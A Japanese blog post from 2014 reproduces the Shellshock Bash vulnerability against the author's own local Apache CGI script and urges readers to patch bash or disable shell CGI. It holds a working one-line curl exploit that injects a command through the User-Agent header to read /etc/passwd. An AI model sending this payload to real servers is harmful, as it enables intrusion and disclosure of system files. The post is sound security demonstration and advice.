BASHの脆弱性でCGIスクリプトにアレさせてみました

Linux 2014年9月25日

環境変数に仕込まれたコードを実行してしまうBASHの脆弱性が CGIスクリプトに影響を与えるか試してみたら結果は悲惨な感じに

朝から Bash specially-crafted environment variables code injection attack なるもので騒ぎになっていたので、さっそく手元の Apacheで試してみました。

CGIスクリプト

/hoge.cgiというURIで実行されるように、一行のメッセージを出力するだけの CGIスクリプトを設置します。いっけん、なんの入力もクライアント側から受け付けていないため危険の存在もありようがないように見えます。

#!/bin/sh
echo "Content-type: text/plain"
echo
echo "Hi! I'm an ordinary CGI script which is executed by /bin/sh"
多くの Linuxシステムでは /bin/shは /bin/bash を指していますので、このCGIは BASHで実行されることになります。

通常の実行結果

CGIスクリプトが echoした内容が表示されるだけです。

悪い奴の行動

それでは攻撃者に扮して curlで任意のコードを実行させてみます。HTTP_USER_AGENTあたりが手頃な環境変数なので curlの -A オプションを使って自白剤を注入してみました。

$ curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://localhost/hoge.cgi

悪い奴の実行結果

ひでぶ

結論

シェルスクリプトで書かれたCGIを外向きのサーバーに置いている人は、今すぐ bashにパッチを適用するか、bash以外のシェルでCGIスクリプトが実行されるようになんとかするか、とりあえずそれらの対応ができるようになるまで chmod -xして無効にするかしないと死にます。これのゼロデイがもう既に行われまくってたりしないといいのですが。

同じカテゴリの記事

Linux上のあるファイルが何のパッケージに属しているかを表示する方法 2014-03-19
Debian GNU/Linuxでサービスの自動起動をやめさせる方法 2014-02-19
Zabbixを使ってエージェント無しで単純な Webサイト監視だけを行う最短の方法 2014-02-13
Docker用に必要な Linuxカーネルのオプション 2014-01-22

お勧めカテゴリ

英語でアニメ観ようず
なじみ深い日本製アニメの英語版DVDで、字幕と音声から英語を学びましょうという趣旨のシリーズ記事です。
ScalaのようでJavaだけど少しScalaなJSON API
Scalaと Spring Frameworkを使って REST的なJSON APIを実装してみましょう。
ドクジリアン柔術少女 すから☆ぱいそん
代表 嶋田大貴のブログです。写真は神仏に見せ金をはたらく罰当たりの図